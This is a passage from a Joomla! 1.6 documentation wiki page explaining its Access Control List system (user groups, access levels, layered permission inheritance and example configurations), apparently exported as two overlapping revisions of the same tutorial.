Note also that Categories can be arranged in a hierarchy. If so, then action permissions in a parent category are inherited automatically by a child category. For example, if you had a category hierarchy of Animals → Pets → Dogs, then the full permission level hierarchy for an article in the Dogs category would be as follows:
* Global Configuration
* Article Manager → Options → Permission
* Animals Category
* Pets Category
* Dogs Category
* specific article

===Article===
Permissions for a single article are access in the Article Manager: Edit Article screen, again in a slider at the bottom of the screen. This screen has three actions, as shown below.
[[Image:screenshot_acl_tutorial_20110111-04.png|center]]
Again, you edit each group by clicking on it to open the slider for that group. You can then change the permissions under the Select New Setting column. To see the effect of any changes, press the Save button to update the Calculated Setting column.

Note that the Configure, Access Component, and Create actions do not apply at the article level, so these actions are not included. Permission to create an article is set at one of the higher levels in the hierarchy.

==Access Levels==

Access Levels in version 1.6 are simple and flexible. The screen below shows the Special Access Level.
[[Image:screenshot_acl_tutorial_20110111-05.png|center]]
Simply check the box for each group you want included in that level. The Special Access Level includes the Manager, Author, and Super Users groups. It also includes child groups of those groups. So, Administrator group is included, since it is a child group of the Manager group. The Editor, Publisher, and Shop Suppliers groups are included, since they are child groups of Author. (Note that we could check all of the child groups if we wanted and it wouldn't hurt anything.)

Once Access Levels are created, they are used in the same way as in version 1.5. Each object in the front end is assigned an Access Level. If the level is Public, then anyone may access that object. Otherwise, only members of groups assigned to that access level may access that object. Access levels are assigned to Menu Items and to Modules. Each one can only be assigned to one access level.

For example, the screen below shows the Edit Menu Item screen with the list of available access levels.

[[Image:screenshot_acl_tutorial_20110111-06.png|center]]

=Default ACL Setup=

When Joomla! is installed, these are set to their initial default settings. We will discuss these initial settings as a way to understand how the ACL works.

==Default Groups==

Version 1.6 allows you to define your own Groups. When you install version 1.6, it includes a set of default groups, as shown below.

[[Image:screenshot_acl_tutorial_20110111-07.png|center]]

The arrows indicate the child-parent relationships. As discussed above, when you set a permission for a parent group, this permission is automatically inherited by all child groups. The Inherited, and Allowed permissions can be overridden for a child group. The Denied permission cannot be overridden and will always deny an action for all child groups.

==Global Configuration==

Joomla! version 1.6 will install with the same familiar back-end permissions as that of version 1.5. However, with 1.6, you can easily change these to suit the needs of your site.

As discussed earlier, the permissions for each action are inherited from the level above in the permission hierarchy and from a group's parent group. Let's see how this works. The top level for this is the entire site. This is set up in the Site->Global Configuration->Permissions, as shown below.

[[Image:screenshot_acl_tutorial_20110111-08.png|center|]]

The first thing to notice are the nine Actions: Site Login, Admin Login, Super Admin, Access Component, Create, Delete, Edit, Edit State. and Edit Own. These are the actions that a user can perform on an object in Joomla. The specific meaning of each action depends on the context. For the Global Configuration screen, they are defined as follows:

;Site Login : Login to the front end of the site

;Admin Login : Login to the back end of the site

; Super Admin : Grants the user "super user" status. Users with this permission can do anything on the site. Only users with this permission can change Global Configuration settings (this screen). These permissions cannot be restricted. It is important to understand that, if a user is a member of a Super Admin group, any other permissions assigned to this user are irrelevant. The user can do any action on the site. However, Access Levels can still be assigned to control what this group sees on the site. (Obviously, a Super Admin user can change Access Levels if they want to, so Access Levels do not totally restrict what a Super Admin user can see.)

;Access Component: Open the component manager screens (User Manager, Menu Manager, Article Manager, and so on)

;Create : Create new objects (for example, users, menu items, articles, weblinks, and so on)

;Delete : Delete existing objects

;Edit : Edit existing objects

;Edit State : Change object state (Publish, Unpublish, Archive, and Trash)

;Edit Own : Edit objects that you have created.

Each Group for the site has its own slider which is opened by clicking on the group name. In this case (with the sample data installed), we have the standard 7 groups that we had in version 1.5 plus two additional groups called "Shop Suppliers" and "Customer Group". Notice that our groups are set up with the same permissions as they had in version 1.5. Keep in mind that we can change any of these permissions to make the security work the way we want. Let's go through this to see how it works.

* '''Public''' has everything set to "Not set", as shown below.
[[Image:screenshot_acl_tutorial_20110112-06.png|center|]]
: This can be a bit confusing. Basically, "Not Set" is the same as "Inherited". Because Public is our top-level group, and because Global Configuration is the top level of the component hierarchy, there is nothing to inherit from. So "Not Set" is used instead of "Inherit".
: The default in this case is for no permissions. So, as you would expect, the Public group has no special permissions. Also, it is important to note that, since nothing is set to Denied, all of these permissions may be overridden by child groups or by lower levels in the permission hierarchy.

* '''Manager''' is a "child" group of the Public group. It has Allowed permissions for everything except Access Component and Super Admin. So a member of this group can do everything in the front and back end of the site except change Global Permissions and Component Options.

* '''Administrator''' group members inherit all of the Manager permissions and also have Allowed for Access Component. So members of this group by default can access the Options screens for each component.

* '''Registered''' is the same a Public except for the Allow permission for the Site Login action. This means that members of the Registered group can login to the site. Since default permissions are inherited, this means that, unless a child group overrides this permission, all child groups of the Registered group will be able to login as well.

* '''Author''' is a child of the Registered group and inherits its permissions and also adds Create and Edit Own. Since Author, Editor, and Publisher have no back-end permissions, we will discuss them below, when we discuss front-end permissions.

* '''Editor''' is a child of the Authors group and adds the Edit permission.

* '''Publisher''' is a child of Editor and adds the Edit State permission.

* '''Shop Suppliers''' is an example group that is installed if you install the sample data. It is a child group of Author.

* '''Customer Group''' is an example group that is installed if you install the sample data. It is a child group of Registered.

* '''Super Users''' group has the Allow permission for the Super Admin action. Because of this, members of this group have super user permissions throughout the site. They are the only users who can access and edit values on the Global Configuration screen. Users with permission for the Super Admin action have some special characteristics:
** If a user has Super Admin permissions, no other permissions for this user matter. The user can perform any action on the site.
** Only Super Admin users can create, edit, or delete other Super Admin users or groups.

There are two very important points to understand from this screen. The first is to see how the permissions can be inherited from the parent Group. The second is to see how you can control the default permissions by Group and by Action.

This provides a lot of flexibility. For example, if you wanted Shop Suppliers to be able to have the ability to login to the back end, you could just change their Admin Login value to "Allowed". If you wanted to not allow members of Administrator group to delete objects or change their state, you would change their permissions in these columns to Inherited (or Denied).

It is also important to understand that the ability to have child groups is completely optional. It allows you to save some time when setting up new groups. However, if you like, you can set up all groups to have Public as the parent and not inherit any permissions from a parent group.

==Component Options & Permissions==

Now, let's continue to see how the default back-end permissions for version 1.6 mimic the permissions for version 1.5. The Super Users group in 1.6 is equivalent to the Super Administrator group in 1.5.

Just looking at the Global Configuration screen above, it would appear that the Administrator group and the Manager group have identical permissions. However, in version 1.5 Administrators can do everything except Global Configuration, whereas Managers are not permitted to add users or work with menu items. That is also true in the default version 1.6 configuration. Let's see how this is accomplished.

If we navigate to Users->User Manager and click the Options button in the toolbar, we see the screen below:

[[Image:screenshot_acl_tutorial_20110111-09.png|center|]]
[[Image:screenshot_acl_tutorial_20110111-10.png|center|]]

This screen is the same as the Global Configuration Permissions screen, except that these values only affect working with Users. Let's look at how this works.

First, notice that the Administrator group has Allow permission for the Admin action and the Manager group has Deny permission for this action. Remember that the Admin action in the Global Configuration screen gives the group "super user" permissions. In this screen, the Admin action allows you to edit the Options values. So, the Administrator group can do this but the Manager group cannot.

Next, notice that the Administrator has Inherit for the Manage action and the Manager group has Deny permission. In this screen, the Manage action gives a group access to the User Manager. Since the Administrator has Allow for the Manage action by default, then the Inherit permission here means they inherit the Allow permission for the Manage action. Since the Manager group has Deny permission for the Manage action, members of the Manager group cannot access the User Manager and therefore cannot do any of the other user-related actions.

If you look at the Options for Menus->Menu Manager, you will see the same default settings as for the User Manager. Again, the Administrator group can manage and set default permissions for Menu Manager objects whereas the Manager group cannot.

In short, we can see that the different permissions for the Administrator and Manager groups are set using the Options->Permissions forms on the User Manager and Menu Manager screens.

It is also important to understand that this same Options->Permissions form for setting default permissions is available for all Joomla! objects, including Media Manager, Banners, Contacts, Newsfeeds, Redirect, Search Statistics, Web Links, Extensions, Modules, Plugins, Templates, and Language. So you now have the option to create user groups with fine-tuned sets of back-end permissions.

==Front End Permissions==

Default permissions for the front end are also set using the Options form. Let's look at Content->Article Manager->Options->Permissions. First, let's look at the permissions for Manager, as shown below.
[[Image:screenshot_acl_tutorial_20110111-11a.png|center|frame]]
Manager has allowed permission for all actions except Configure. So members of the Manager group can do everything with Articles except open the Options screen.

Now let's look at Administrator, as shown below.
[[Image:screenshot_acl_tutorial_20110111-12a.png|center|frame]]
Administrator has Allowed for Configure, so Administrators can edit this Options screen.

Both groups can create, delete, edit, and change the state of articles.

Now, let's look at the groups Publisher, Editor, and Author and see how their permissions are set.

Authors only have Create and Edit Own permissions, as shown below.
[[Image:screenshot_acl_tutorial_20110112-07.png|center|frame]]
This means that Authors can create articles and can edit articles they have created. They may not delete articles, change the published state of articles, or edit articles created by others.

Editors have the same permissions as Authors with the addition of permission for the Edit action, as shown below.
[[Image:screenshot_acl_tutorial_20110112-08.png|center|frame]]
So Editors can edit articles written by anyone.

Publishers can do everything Editors can do plus they have permission for the Edit State action, as shown below.
[[Image:screenshot_acl_tutorial_20110112-09.png|center|frame]]
So Publishers can change the published state of an article. The possible states include Published, Unpublished, Archived, and Trashed.

All of these groups have Inherit permission for Configure and Access Component. Remember that Author is a child of the Registered group, and Registered does not have any default permissions except for Login. Since Registered does not have permission for Configure and Access Component, and since Author's permission for these actions is "Inherited", then Author does not have these permissions either. This same permission is passed from Author to Editor and from Editor to Publisher. So, by default, none of these groups are allowed to work with articles in the back end.

It is important to remember that these permissions are only default settings for categories and articles and for any child groups that are created. So they can be overridden for child groups, for categories, and for specific articles.

Also, note that there are no Denied permissions for any actions in the default settings. This allows you to add Allowed permissions at any level. Remember, once you have an action set for Denied, this action will be denied at all lower levels in the hierarchy. For example, if you set the Admin Login for Registered to Denied (instead of Inherited), you could not grant Publishers Allowed permissions for this action.

== Article Manager & Actions Diagram ==

The diagram below shows how each action in the permissions form relates to the various options on the Article Manager screen.

[[Image:screenshot_acl_tutorial_20110111-16.png|center|]]

* '''Configure''' allows you to view and change the Options for the component.
* '''Access Component''' allows you to navigate to the Article Manager. Without this permission, no other actions are possible.
* '''Create''' allows you to add new articles.
* '''Delete''' allows you to delete trashed articles. Note that the Delete icon only shows in the toolbar when you have the "Select State" filter set to "Trash".
* '''Edit''' allows you to edit existing articles.
* '''Edit State''' allows to you Publish, Unpublish, Archive, or Trash articles.
* '''Edit Own''' is the same as Edit except that it only applies to articles written by you.

=Allowing Guest-Only Access to Menu Items and Modules=

Version 1.6 introduces the ability to create a View Access Level that is only for guests of the site (meaning a user who is not logged in). The example below shows how you can set up this new feature.

#Create a new user group called Guest. Make it a child of the Public group as shown below. [[Image:screenshot_acl_tutorial_20110112-01.png|center|frame]]
# Create a new access level called Guest and grant only the Guest group access to this level, as shown below.[[Image:screenshot_acl_tutorial_20110112-02.png|center|frame]]
# Edit the Public access level and add the Guest group to it, as shown below.[[Image:screenshot_acl_tutorial_20110112-03.png|center|frame]]
# Navigate to User Manager→Options→Component and change the Guest User Group from the default value of "Public" to "Guest", as shown below.
[[Image:screenshot_acl_tutorial_20110112-04.png|center|frame]]

Now, if we assign a menu item, module, or other object to the Guest access level, only non-logged in users will have access. For example, if we create a new menu item with access level of Guest, as shown below,
[[Image:screenshot_acl_tutorial_20110112-05.png|center|frame]]
this menu item will only be visible to non-logged-in visitors to the site. Login/logout in frontend (for changing data in session) to see the change.

=Using Permission and Group Levels Together=

As discussed above, it is possible to define groups in a hierarchy, where each child group inherits action permissions (for example, the create permission) from its parent group. Action permissions are also be inherited from the permission level above. For example, a permission in the Article Manager is inherited from the same permission in the Global Configuration, and a permission in a child Category is inherited from the parent Category permission.

This dual inheritance can be confusing, but it can also be useful. Let's consider an example as follows. We have a school with a group hierarchy of Teachers → History Teachers → Assistant History Teachers. We also have a category hierarchy of Assignments → History Assignments. We want History Teachers and Assistant History Teachers to have the following permissions:

* both groups can create new articles only in the History Assignments category.

* only History Teachers (not Assistant History Teachers) can Publish or otherwise have Edit State permission.

This ACL scheme is very easy to implement. The diagram below shows how this would be set up for the Create Action.

[[Image:Acl example diagram1 20091018.png|center|]]

In the diagram, the Permission Hierarchy is shown down the left side and the Group hierarchy is shown across the top. Permissions are inherited down and to the right, as shown by the arrows. To implement the desired permissions, we leave the Global Configuration blank (Not Set) for all three groups. Similarly, in the Article Manager and Assignments Category, we leave the Create permission to Inherit for all the groups. As shown in the diagram, this means that these groups do not have Create permission for articles in general or for articles in the Assignments group.

To sum up so far, we have not set any special permissions to get to this point. Now, in the History Assignments category permissions screen, we set the Create permission to Allow for the History Teachers group. This setting overrides the Soft (Implicit) Deny that we had by default and gives members of this group permission to create content (articles and child categories) for this category. This Allow setting also is inherited by the Assistant History Teachers group.

Next, we need to grant History Teachers the Edit State permission while denying this permission to Assistant History Teachers. This is done as shown in the diagram below.

[[Image:Acl example diagram2 20091018.png|center|]]

This configuration is the same as the one above except that this time we set the Edit State permission in the History Assignments category to Deny for the Assistant History Teachers group. This means that Assistant History Teachers will not be able to Publish or Unpublish articles in this category.

Note that this was accomplished by setting just two permissions in the History Assignments category: Allow for the History Teachers group and Deny for the Assistant History Teachers group.

=ACL Examples=
Here are some examples of how you might set up the ACL for some specific situations.

==Back-end Article Administrator==

'''Problem:'''

We want to create a group called "Article Administrator" with back-end permissions only for articles and not for any other back-end menu options. Members of this group should be able to use all of the features of the article manager, including setting article permissions.

'''Solution:'''

# Create a new group called Article Administrator and make its parent group Public, as shown below.[[Image:screenshot_acl_tutorial_20110112-10.png|center|frame]] Because its parent group is Public, it won't have any permissions by default.
# In Users → Access Levels, edit the Special Access level to add the new group. That way they can get access to the back end menu items and modules (This assumes that the modules for the admin menu and quickicons have the Special Access level assigned to them, which is the default.) [[Image:screenshot_acl_tutorial_20110112-11.png|center|frame]] By default, the back-end menu items and modules are set to Special access, so if you forget to add the new group to the Special access level, you won't see any modules or menu items when you log in as a user of the new group.
# In Site → Global Configuration → Permissions, click on the Article Administrator group and change the permissions to Allowed for the following actions: Admin Login, Create, Delete, Edit, Edit State, and Edit Own. The screen below shows what will show before you press Save. [[Image:screenshot_acl_tutorial_20110112-12.png|center|frame]]After you save, the Calculated Permissions should show as shown below.[[Image:screenshot_acl_tutorial_20110112-13.png|center|frame]]Note that the permission for the Access Component is Inherited, which translates to Not Allowed. This is important. This means that this group will only be able to access components if we give the group "Allowed" permission for Access Component. So we only have to change the one component we want to give them access to and don't have to change any settings for the components where we don't want them to have access. If we had a case where we wanted to give a group access to everything except for one component, we could set the default to Allowed and then set the one component to Denied. Also note that we did not give the group Site Login permission, so users in this group will not be able to log into the front end. (If we wanted to allow that, we would just change the permission to Allowed for Site Login.)
# In Article Manager → Options → Permissions, change permissions to Allowed for this group for the Access Component action, as shown below.[[Image:screenshot_acl_tutorial_20110112-14.png|center|frame]]All of the other desired permissions are inherited.

That's all you need to do. Members of this group can login to the back end and do everything in Article Manager but can't do anything else in the back end. For example, the screen below shows what a user in the Article Manager will see when they login to the back end.[[Image:screenshot_acl_tutorial_20110112-15.png|center|frame]]
[[Category:Joomla! 1.6]] [[Category:Tutorials]][[Category:Access Control]][[Category:Access Management]]

Archived:Access Control List Tutorial

2011-09-26T04:06:35Z

Cadrlp: /* Users, Groups, and Access Levels */

=ACL Defined=

;ACL or [http://en.wikipedia.org/wiki/Access_control_list Access Control List]
:According to Wikipedia, “An ACL specifies which users or system processes are granted access to objects, as well as what operations are allowed to be performed on given objects.”

In the case of Joomla!, we have two separate aspects to ACL.
# Which users can gain access to what parts of the website? For example, will a given menu choice be visible for a given user?
# What operations (or actions) a user can perform on any given object? For example, can a user submit or edit an article?

=Overview of ACL in Version 1.6=

This section outlines the major ACL changes between versions 1.5 and 1.6.

==Users, Groups, and Access Levels==

With the definition in mind, let's look at how we set up the ACL for our site in version 1.6. The table below summarizes the major changes from version 1.5.

{| class="wikitable" cellspacing="0" cellpadding="4" border="1"
| 
! Version 1.5
! Version 1.6
|-
| Groups
| 7 fixed groups (Public, Registered, Author, Editor, Publisher, Manager, Administrator, and Super-Administrator)
| Unlimited user-defined Groups
|-
| Users & Groups
| A User can be assigned to only one group
| A User can be assigned to multiple groups
|-
| Access Levels
| 3 fixed Access Levels (Public, Registered, Special)
| Unlimited user-defined Access Levels
|-
| Access Levels & Groups
| Relationship between Groups and Access Levels was fixed.
| Groups are assigned to Access Levels. Any combination of Groups can be assigned to any Access Level.
|}

We see that in every case the ACL has been made much more flexible, with unlimited Groups and Access Levels, and the ability to assign one User to multiple Groups and any Groups to any Access Level.

==Actions, Groups, and Inheritance==

The other side of ACL is granting permissions to users to take actions on objects. Here again there is a big change between Version 1.5 and 1.6. In 1.5, the actions allowed for a given group were fixed. For example, a User in the Author group could only submit an article whereas someone in the Publisher group could submit, edit, and publish articles. Also, in version 1.5 the permissions were all-or-nothing. A member of the Editor group could edit all articles on the site.

The table below shows what has changed between versions 1.5 and 1.6.

{| class="wikitable" cellspacing="0" cellpadding="4" border="1"
| 
| Version 1.5
| Version 1.6
|-
| Groups and Actions
| Actions allowed by different groups are fixed.
| Actions allowed for each group are defined by site administrator.
|-
| Permission Scope
| Entire Site. User has same permissions for all objects on the site.
| Permissions can be set at multiple levels in hierarchy: Site, Component, Category, Object.
|-
| Permission Inheritance
| Not applicable
| Permissions can be inherited from parent Groups and parent Categories
|}

==How Permissions Work==

There are four possible permissions for actions, as outlined below:

* '''Not set''': Defaults to "deny" but, unlike the Deny permission, this permission can be overridden by setting a child group or a lower level in the permission hierarchy to "Allow". This permission only applies to the Global Configuration permissions.
* '''Inherit''': Inherits the value from a parent Group or from a higher level in the permission hierarchy. This permission applies to all levels except the Global Configuration level.
* '''Deny''': Denies this action for this level and group. '''IMPORTANT:''' This also denies this action for all child groups and all lower levels in the permission hierarchy. Putting in Allow for a child group or a lower level will not have any effect. The action will always be denied for any child group member and for any lower level in the permission hierarchy.
* '''Allow''': Allows this action for this level and group and for lower levels and child groups. This does not have any effect if a higher group or level is set to Deny or Allow. If a higher group or level is set to Deny, then this permission will always be denied. If a higher group or level is set to Allow, then this permission will already be allowed.

==Permission Hierarchy Levels==

Action permissions in version 1.6 can be defined at up to four levels, as follows:
# '''Global Configuration''': determines the default permissions for each action and group.
# '''Component Options->Permissions''': can override the default permissions for this component (for example, Articles, Menus, Users, Banners, and so on)
# '''Category''': can override the default permissions for objects in one or more categories. Applies to all components with categories, including Articles, Banners, Contacts, Newsfeeds, and Weblinks.
# '''Article''': Can override the permissions for a specific article. This level only applies to articles. Other components only allow the first three levels.

===Global Configuration===
This is accessed from Site → Global Configuration → Permissions. This screen allows you set the top-level permission for each group for each action, as shown in the screenshot below.
[[Image:screenshot_acl_tutorial_20110111-01.png|center]]
The options for each value are Inherited, Allowed, or Denied. The Calculated Setting column shows you the setting in effect. It is either Not Allowed (the default), Allowed, or Denied.

You work on one Group at a time by opening the slider for that group. You change the permissions in the Select New Settings drop-down list boxes.

Note that the Calculated Setting column is not updated until you press the Save button in the toolbar. To check that the settings are what you want, press the Save button and check the Calculated Settings column.

===Component Options->Permissions===
This is accessed for each component by clicking the Options icon in the toolbar. This screen is similar to the Global Configuration screen above. For example, clicking the Options toolbar icon in the Menu Manager shows the Menus Configuration below.
[[Image:screenshot_acl_tutorial_20110111-02.png|center]]
Access to Options is only available to members of groups who have permission for the Configure action in for each component. In the example above, the Administrator group has Allowed permission for the Configure option, so members of this group can access this screen.

===Category===
Category permissions are accessed in the Category Manager: Edit Category screen, in a slider at the bottom of the screen. This screen has five permissions, as shown below.
[[Image:screenshot_acl_tutorial_20110111-03.png|center]]
In these screens, you work on the permissions for one User Group at a time. In the example above, we are editing the permissions for the Administrator group.

Note that the Configure and Access Component actions do not apply at the category level, so those actions are not included.

Note also that Categories can be arranged in a hierarchy. If so, then action permissions in a parent category are inherited automatically by a child category. For example, if you had a category hierarchy of Animals → Pets → Dogs, then the full permission level hierarchy for an article in the Dogs category would be as follows:
* Global Configuration
* Article Manager → Options → Permission
* Animals Category
* Pets Category
* Dogs Category
* specific article

===Article===
Permissions for a single article are access in the Article Manager: Edit Article screen, again in a slider at the bottom of the screen. This screen has three actions, as shown below.
[[Image:screenshot_acl_tutorial_20110111-04.png|center]]
Again, you edit each group by clicking on it to open the slider for that group. You can then change the permissions under the Select New Setting column. To see the effect of any changes, press the Save button to update the Calculated Setting column.

Note that the Configure, Access Component, and Create actions do not apply at the article level, so these actions are not included. Permission to create an article is set at one of the higher levels in the hierarchy.

==Access Levels==

Access Levels in version 1.6 are simple and flexible. The screen below shows the Special Access Level.
[[Image:screenshot_acl_tutorial_20110111-05.png|center]]
Simply check the box for each group you want included in that level. The Special Access Level includes the Manager, Author, and Super Users groups. It also includes child groups of those groups. So, Administrator group is included, since it is a child group of the Manager group. The Editor, Publisher, and Shop Suppliers groups are included, since they are child groups of Author. (Note that we could check all of the child groups if we wanted and it wouldn't hurt anything.)

Once Access Levels are created, they are used in the same way as in version 1.5. Each object in the front end is assigned an Access Level. If the level is Public, then anyone may access that object. Otherwise, only members of groups assigned to that access level may access that object. Access levels are assigned to Menu Items and to Modules. Each one can only be assigned to one access level.

For example, the screen below shows the Edit Menu Item screen with the list of available access levels.

[[Image:screenshot_acl_tutorial_20110111-06.png|center]]

=Default ACL Setup=

When Joomla! is installed, these are set to their initial default settings. We will discuss these initial settings as a way to understand how the ACL works.

==Default Groups==

Version 1.6 allows you to define your own Groups. When you install version 1.6, it includes a set of default groups, as shown below.

[[Image:screenshot_acl_tutorial_20110111-07.png|center]]

The arrows indicate the child-parent relationships. As discussed above, when you set a permission for a parent group, this permission is automatically inherited by all child groups. The Inherited, and Allowed permissions can be overridden for a child group. The Denied permission cannot be overridden and will always deny an action for all child groups.

==Global Configuration==

Joomla! version 1.6 will install with the same familiar back-end permissions as that of version 1.5. However, with 1.6, you can easily change these to suit the needs of your site.

As discussed earlier, the permissions for each action are inherited from the level above in the permission hierarchy and from a group's parent group. Let's see how this works. The top level for this is the entire site. This is set up in the Site->Global Configuration->Permissions, as shown below.

[[Image:screenshot_acl_tutorial_20110111-08.png|center|]]

The first thing to notice are the nine Actions: Site Login, Admin Login, Super Admin, Access Component, Create, Delete, Edit, Edit State. and Edit Own. These are the actions that a user can perform on an object in Joomla. The specific meaning of each action depends on the context. For the Global Configuration screen, they are defined as follows:

;Site Login : Login to the front end of the site

;Admin Login : Login to the back end of the site

; Super Admin : Grants the user "super user" status. Users with this permission can do anything on the site. Only users with this permission can change Global Configuration settings (this screen). These permissions cannot be restricted. It is important to understand that, if a user is a member of a Super Admin group, any other permissions assigned to this user are irrelevant. The user can do any action on the site. However, Access Levels can still be assigned to control what this group sees on the site. (Obviously, a Super Admin user can change Access Levels if they want to, so Access Levels do not totally restrict what a Super Admin user can see.)

;Access Component: Open the component manager screens (User Manager, Menu Manager, Article Manager, and so on)

;Create : Create new objects (for example, users, menu items, articles, weblinks, and so on)

;Delete : Delete existing objects

;Edit : Edit existing objects

;Edit State : Change object state (Publish, Unpublish, Archive, and Trash)

;Edit Own : Edit objects that you have created.

Each Group for the site has its own slider which is opened by clicking on the group name. In this case (with the sample data installed), we have the standard 7 groups that we had in version 1.5 plus two additional groups called "Shop Suppliers" and "Customer Group". Notice that our groups are set up with the same permissions as they had in version 1.5. Keep in mind that we can change any of these permissions to make the security work the way we want. Let's go through this to see how it works.

* '''Public''' has everything set to "Not set", as shown below.
[[Image:screenshot_acl_tutorial_20110112-06.png|center|]]
: This can be a bit confusing. Basically, "Not Set" is the same as "Inherited". Because Public is our top-level group, and because Global Configuration is the top level of the component hierarchy, there is nothing to inherit from. So "Not Set" is used instead of "Inherit".
: The default in this case is for no permissions. So, as you would expect, the Public group has no special permissions. Also, it is important to note that, since nothing is set to Denied, all of these permissions may be overridden by child groups or by lower levels in the permission hierarchy.

* '''Manager''' is a "child" group of the Public group. It has Allowed permissions for everything except Access Component and Super Admin. So a member of this group can do everything in the front and back end of the site except change Global Permissions and Component Options.

* '''Administrator''' group members inherit all of the Manager permissions and also have Allowed for Access Component. So members of this group by default can access the Options screens for each component.

* '''Registered''' is the same a Public except for the Allow permission for the Site Login action. This means that members of the Registered group can login to the site. Since default permissions are inherited, this means that, unless a child group overrides this permission, all child groups of the Registered group will be able to login as well.

* '''Author''' is a child of the Registered group and inherits its permissions and also adds Create and Edit Own. Since Author, Editor, and Publisher have no back-end permissions, we will discuss them below, when we discuss front-end permissions.

* '''Editor''' is a child of the Authors group and adds the Edit permission.

* '''Publisher''' is a child of Editor and adds the Edit State permission.

* '''Shop Suppliers''' is an example group that is installed if you install the sample data. It is a child group of Author.

* '''Customer Group''' is an example group that is installed if you install the sample data. It is a child group of Registered.

* '''Super Users''' group has the Allow permission for the Super Admin action. Because of this, members of this group have super user permissions throughout the site. They are the only users who can access and edit values on the Global Configuration screen. Users with permission for the Super Admin action have some special characteristics:
** If a user has Super Admin permissions, no other permissions for this user matter. The user can perform any action on the site.
** Only Super Admin users can create, edit, or delete other Super Admin users or groups.

There are two very important points to understand from this screen. The first is to see how the permissions can be inherited from the parent Group. The second is to see how you can control the default permissions by Group and by Action.

This provides a lot of flexibility. For example, if you wanted Shop Suppliers to be able to have the ability to login to the back end, you could just change their Admin Login value to "Allowed". If you wanted to not allow members of Administrator group to delete objects or change their state, you would change their permissions in these columns to Inherited (or Denied).

It is also important to understand that the ability to have child groups is completely optional. It allows you to save some time when setting up new groups. However, if you like, you can set up all groups to have Public as the parent and not inherit any permissions from a parent group.

==Component Options & Permissions==

Now, let's continue to see how the default back-end permissions for version 1.6 mimic the permissions for version 1.5. The Super Users group in 1.6 is equivalent to the Super Administrator group in 1.5.

Just looking at the Global Configuration screen above, it would appear that the Administrator group and the Manager group have identical permissions. However, in version 1.5 Administrators can do everything except Global Configuration, whereas Managers are not permitted to add users or work with menu items. That is also true in the default version 1.6 configuration. Let's see how this is accomplished.

If we navigate to Users->User Manager and click the Options button in the toolbar, we see the screen below:

[[Image:screenshot_acl_tutorial_20110111-09.png|center|]]
[[Image:screenshot_acl_tutorial_20110111-10.png|center|]]

This screen is the same as the Global Configuration Permissions screen, except that these values only affect working with Users. Let's look at how this works.

First, notice that the Administrator group has Allow permission for the Admin action and the Manager group has Deny permission for this action. Remember that the Admin action in the Global Configuration screen gives the group "super user" permissions. In this screen, the Admin action allows you to edit the Options values. So, the Administrator group can do this but the Manager group cannot.

Next, notice that the Administrator has Inherit for the Manage action and the Manager group has Deny permission. In this screen, the Manage action gives a group access to the User Manager. Since the Administrator has Allow for the Manage action by default, then the Inherit permission here means they inherit the Allow permission for the Manage action. Since the Manager group has Deny permission for the Manage action, members of the Manager group cannot access the User Manager and therefore cannot do any of the other user-related actions.

If you look at the Options for Menus->Menu Manager, you will see the same default settings as for the User Manager. Again, the Administrator group can manage and set default permissions for Menu Manager objects whereas the Manager group cannot.

In short, we can see that the different permissions for the Administrator and Manager groups are set using the Options->Permissions forms on the User Manager and Menu Manager screens.

It is also important to understand that this same Options->Permissions form for setting default permissions is available for all Joomla! objects, including Media Manager, Banners, Contacts, Newsfeeds, Redirect, Search Statistics, Web Links, Extensions, Modules, Plugins, Templates, and Language. So you now have the option to create user groups with fine-tuned sets of back-end permissions.

==Front End Permissions==

Default permissions for the front end are also set using the Options form. Let's look at Content->Article Manager->Options->Permissions. First, let's look at the permissions for Manager, as shown below.
[[Image:screenshot_acl_tutorial_20110111-11a.png|center|frame]]
Manager has allowed permission for all actions except Configure. So members of the Manager group can do everything with Articles except open the Options screen.

Now let's look at Administrator, as shown below.
[[Image:screenshot_acl_tutorial_20110111-12a.png|center|frame]]
Administrator has Allowed for Configure, so Administrators can edit this Options screen.

Both groups can create, delete, edit, and change the state of articles.

Now, let's look at the groups Publisher, Editor, and Author and see how their permissions are set.

Authors only have Create and Edit Own permissions, as shown below.
[[Image:screenshot_acl_tutorial_20110112-07.png|center|frame]]
This means that Authors can create articles and can edit articles they have created. They may not delete articles, change the published state of articles, or edit articles created by others.

Editors have the same permissions as Authors with the addition of permission for the Edit action, as shown below.
[[Image:screenshot_acl_tutorial_20110112-08.png|center|frame]]
So Editors can edit articles written by anyone.

Publishers can do everything Editors can do plus they have permission for the Edit State action, as shown below.
[[Image:screenshot_acl_tutorial_20110112-09.png|center|frame]]
So Publishers can change the published state of an article. The possible states include Published, Unpublished, Archived, and Trashed.

All of these groups have Inherit permission for Configure and Access Component. Remember that Author is a child of the Registered group, and Registered does not have any default permissions except for Login. Since Registered does not have permission for Configure and Access Component, and since Author's permission for these actions is "Inherited", then Author does not have these permissions either. This same permission is passed from Author to Editor and from Editor to Publisher. So, by default, none of these groups are allowed to work with articles in the back end.

It is important to remember that these permissions are only default settings for categories and articles and for any child groups that are created. So they can be overridden for child groups, for categories, and for specific articles.

Also, note that there are no Denied permissions for any actions in the default settings. This allows you to add Allowed permissions at any level. Remember, once you have an action set for Denied, this action will be denied at all lower levels in the hierarchy. For example, if you set the Admin Login for Registered to Denied (instead of Inherited), you could not grant Publishers Allowed permissions for this action.

== Article Manager & Actions Diagram ==

The diagram below shows how each action in the permissions form relates to the various options on the Article Manager screen.

[[Image:screenshot_acl_tutorial_20110111-16.png|center|]]

* '''Configure''' allows you to view and change the Options for the component.
* '''Access Component''' allows you to navigate to the Article Manager. Without this permission, no other actions are possible.
* '''Create''' allows you to add new articles.
* '''Delete''' allows you to delete trashed articles. Note that the Delete icon only shows in the toolbar when you have the "Select State" filter set to "Trash".
* '''Edit''' allows you to edit existing articles.
* '''Edit State''' allows to you Publish, Unpublish, Archive, or Trash articles.
* '''Edit Own''' is the same as Edit except that it only applies to articles written by you.

=Allowing Guest-Only Access to Menu Items and Modules=

Version 1.6 introduces the ability to create a View Access Level that is only for guests of the site (meaning a user who is not logged in). The example below shows how you can set up this new feature.

#Create a new user group called Guest. Make it a child of the Public group as shown below. [[Image:screenshot_acl_tutorial_20110112-01.png|center|frame]]
# Create a new access level called Guest and grant only the Guest group access to this level, as shown below.[[Image:screenshot_acl_tutorial_20110112-02.png|center|frame]]
# Edit the Public access level and add the Guest group to it, as shown below.[[Image:screenshot_acl_tutorial_20110112-03.png|center|frame]]
# Navigate to User Manager→Options→Component and change the Guest User Group from the default value of "Public" to "Guest", as shown below.
[[Image:screenshot_acl_tutorial_20110112-04.png|center|frame]]

